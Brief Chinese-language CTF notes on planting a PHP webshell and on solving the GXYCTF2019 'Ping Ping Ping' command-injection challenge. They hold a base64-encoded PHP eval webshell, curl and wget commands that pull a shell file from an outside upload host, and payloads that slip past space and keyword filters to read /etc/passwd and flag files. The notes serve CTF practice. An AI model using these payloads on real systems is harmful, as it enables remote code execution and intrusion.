獲取flag(傳木馬文件)
文件地址可以用
3個方法
echo? PD9waHAgQGV2YWwoJF9QT1NUWzEyM10pOyA/Pg== | base64 -d > aab.php
curl ??https://bashupload.com/atR2C/111.txt > shell.php
wget ?https://bashupload.com/atR2C/111.txt
用定向符? ls / >112.txt
再打開這個文件,就可以看到根目錄
再cat /flag.txt >112.txt ,然后打開112.txt,就可以得到flag
空格過濾方法
?< 或 <>?? | cat</etc/passwd | 用 < 代替空格(重定向符號) |
??${IFS}?? | cat${IFS}/etc/passwd | IFS 是內部字段分隔符 |
??$IFS$9?? | cat$IFS$9/etc/passwd | $9 是空參數,增強兼容性 |
??{cmd,arg}?? | {cat,/etc/passwd} | 花括號擴展語法(僅限bash/zsh) |
??%09 (URL編碼)?? | curl%09http://example.com | 在HTTP請求中代替空格(需解碼) |
[GXYCTF2019]Ping Ping Ping
3種方法
第一種
測出空格,flag被過濾
空格用$IFS$9來代替
flag 先定義a=g,然后$a=g
所以?? ?ip=;a=g;cat$IFS$9fla$a.php
然后再查看網頁源代碼
第二種
用反引號
?ip=;cat$IFS$9`ls`
再打開網頁源代碼
第三種
用base64編碼
`echo$IFS$9??Y2F0IGZsYWcucGhw|base64$IFS$9-d`
再打開網頁源代碼